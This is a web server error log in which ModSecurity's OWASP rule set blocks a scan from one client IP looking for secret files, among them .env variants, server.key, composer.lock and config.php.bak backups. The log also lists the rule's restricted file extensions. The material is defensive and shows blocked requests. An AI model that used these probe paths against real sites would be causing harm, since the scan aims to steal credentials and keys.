[Thu Feb 26 01:02:48.993517 2026] [:error] [pid 2330790] [client 185.177.72.22:9448] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.back&quot;] [unique_id &quot;aZ-NqICbt-ue5ARpbmjlBwAAAAI&quot;]
[Thu Feb 26 01:02:48.993656 2026] [:error] [pid 2330790] [client 185.177.72.22:9448] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.back&quot;] [unique_id &quot;aZ-NqICbt-ue5ARpbmjlBwAAAAI&quot;]
[Thu Feb 26 01:02:49.014921 2026] [:error] [pid 2331047] [client 185.177.72.22:23982] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/composer.lock&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /composer.lock found within REQUEST_FILENAME: /composer.lock&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/composer.lock&quot;] [unique_id &quot;aZ-NqZqP6Uim1aZiP_g4PwAAAAY&quot;]
[Thu Feb 26 01:02:49.015159 2026] [:error] [pid 2331047] [client 185.177.72.22:23982] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/composer.lock&quot;] [unique_id &quot;aZ-NqZqP6Uim1aZiP_g4PwAAAAY&quot;]
[Thu Feb 26 01:02:49.015338 2026] [:error] [pid 2331047] [client 185.177.72.22:23982] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/composer.lock&quot;] [unique_id &quot;aZ-NqZqP6Uim1aZiP_g4PwAAAAY&quot;]
[Thu Feb 26 01:02:49.016585 2026] [:error] [pid 2330790] [client 185.177.72.22:9448] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.bkp&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.bkp&quot;] [unique_id &quot;aZ-NqYCbt-ue5ARpbmjlCAAAAAI&quot;]
[Thu Feb 26 01:02:49.016810 2026] [:error] [pid 2330790] [client 185.177.72.22:9448] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.bkp&quot;] [unique_id &quot;aZ-NqYCbt-ue5ARpbmjlCAAAAAI&quot;]
[Thu Feb 26 01:02:49.016961 2026] [:error] [pid 2330790] [client 185.177.72.22:9448] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.bkp&quot;] [unique_id &quot;aZ-NqYCbt-ue5ARpbmjlCAAAAAI&quot;]
[Thu Feb 26 01:02:49.047865 2026] [:error] [pid 2331047] [client 185.177.72.22:23982] [client 185.177.72.22] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.key&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/server.key&quot;] [unique_id &quot;aZ-NqZqP6Uim1aZiP_g4QAAAAAY&quot;]
[Thu Feb 26 01:02:49.048344 2026] [:error] [pid 2331047] [client 185.177.72.22:23982] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/server.key&quot;] [unique_id &quot;aZ-NqZqP6Uim1aZiP_g4QAAAAAY&quot;]
[Thu Feb 26 01:02:49.048519 2026] [:error] [pid 2331047] [client 185.177.72.22:23982] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/server.key&quot;] [unique_id &quot;aZ-NqZqP6Uim1aZiP_g4QAAAAAY&quot;]
[Thu Feb 26 01:02:49.069703 2026] [:error] [pid 2330790] [client 185.177.72.22:9448] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.credentials&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.credentials&quot;] [unique_id &quot;aZ-NqYCbt-ue5ARpbmjlCQAAAAI&quot;]
[Thu Feb 26 01:02:49.069926 2026] [:error] [pid 2330790] [client 185.177.72.22:9448] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.credentials&quot;] [unique_id &quot;aZ-NqYCbt-ue5ARpbmjlCQAAAAI&quot;]
[Thu Feb 26 01:02:49.070078 2026] [:error] [pid 2330790] [client 185.177.72.22:9448] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.credentials&quot;] [unique_id &quot;aZ-NqYCbt-ue5ARpbmjlCQAAAAI&quot;]
[Thu Feb 26 01:02:49.143562 2026] [:error] [pid 2330790] [client 185.177.72.22:9448] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.email&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.email&quot;] [unique_id &quot;aZ-NqYCbt-ue5ARpbmjlCgAAAAI&quot;]
[Thu Feb 26 01:02:49.143827 2026] [:error] [pid 2330790] [client 185.177.72.22:9448] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.email&quot;] [unique_id &quot;aZ-NqYCbt-ue5ARpbmjlCgAAAAI&quot;]
[Thu Feb 26 01:02:49.144001 2026] [:error] [pid 2330790] [client 185.177.72.22:9448] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.email&quot;] [unique_id &quot;aZ-NqYCbt-ue5ARpbmjlCgAAAAI&quot;]
[Thu Feb 26 01:02:49.160350 2026] [:error] [pid 2331047] [client 185.177.72.22:23982] [client 185.177.72.22] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.ini&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/php5.ini&quot;] [unique_id &quot;aZ-NqZqP6Uim1aZiP_g4QgAAAAY&quot;]
[Thu Feb 26 01:02:49.160834 2026] [:error] [pid 2331047] [client 185.177.72.22:23982] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/php5.ini&quot;] [unique_id &quot;aZ-NqZqP6Uim1aZiP_g4QgAAAAY&quot;]
[Thu Feb 26 01:02:49.160986 2026] [:error] [pid 2331047] [client 185.177.72.22:23982] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/php5.ini&quot;] [unique_id &quot;aZ-NqZqP6Uim1aZiP_g4QgAAAAY&quot;]
[Thu Feb 26 01:02:49.171247 2026] [:error] [pid 2330790] [client 185.177.72.22:9448] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.hidden&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.hidden&quot;] [unique_id &quot;aZ-NqYCbt-ue5ARpbmjlCwAAAAI&quot;]
[Thu Feb 26 01:02:49.171470 2026] [:error] [pid 2330790] [client 185.177.72.22:9448] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.hidden&quot;] [unique_id &quot;aZ-NqYCbt-ue5ARpbmjlCwAAAAI&quot;]
[Thu Feb 26 01:02:49.171616 2026] [:error] [pid 2330790] [client 185.177.72.22:9448] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.hidden&quot;] [unique_id &quot;aZ-NqYCbt-ue5ARpbmjlCwAAAAI&quot;]
[Thu Feb 26 01:02:49.195180 2026] [:error] [pid 2331047] [client 185.177.72.22:23982] [client 185.177.72.22] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config.php.bak&quot;] [unique_id &quot;aZ-NqZqP6Uim1aZiP_g4QwAAAAY&quot;]
[Thu Feb 26 01:02:49.195665 2026] [:error] [pid 2331047] [client 185.177.72.22:23982] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config.php.bak&quot;] [unique_id &quot;aZ-NqZqP6Uim1aZiP_g4QwAAAAY&quot;]
[Thu Feb 26 01:02:49.195824 2026] [:error] [pid 2331047] [client 185.177.72.22:23982] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config.php.bak&quot;] [unique_id &quot;aZ-NqZqP6Uim1aZiP_g4QwAAAAY&quot;]
[Thu Feb 26 01:02:49.200241 2026] [:error] [pid 2330790] [client 185.177.72.22:9448] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.hide&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.hide&quot;] [unique_id &quot;aZ-NqYCbt-ue5ARpbmjlDAAAAAI&quot;]
[Thu Feb 26 01:02:49.200469 2026] [:error] [pid 2330790] [client 185.177.72.22:9448] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.hide&quot;] [unique_id &quot;aZ-NqYCbt-ue5ARpbmjlDAAAAAI&quot;]
[Thu Feb 26 01:02:49.200628 2026] [:error] [pid 2330790] [client 185.177.72.22:9448] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.hide&quot;] [unique_id &quot;aZ-NqYCbt-ue5ARpbmjlDAAAAAI&quot;]
[Thu Feb 26 01:02:49.229498 2026] [:error] [pid 2330790] [client 185.177.72.22:9448] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.js&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.js&quot;] [unique_id &quot;aZ-NqYCbt-ue5ARpbmjlDQAAAAI&quot;]
[Thu Feb 26 01:02:49.229705 2026] [:error] [pid 2330790] [client 185.177.72.22:9448] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.js&quot;] [unique_id &quot;aZ-NqYCbt-ue5ARpbmjlDQAAAAI&quot;]
[Thu Feb 26 01:02:49.229849 2026] [:error] [pid 2330790] [client 185.177.72.22:9448] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.js&quot;] [unique_id &quot;aZ-NqYCbt-ue5ARpbmjlDQAAAAI&quot;]
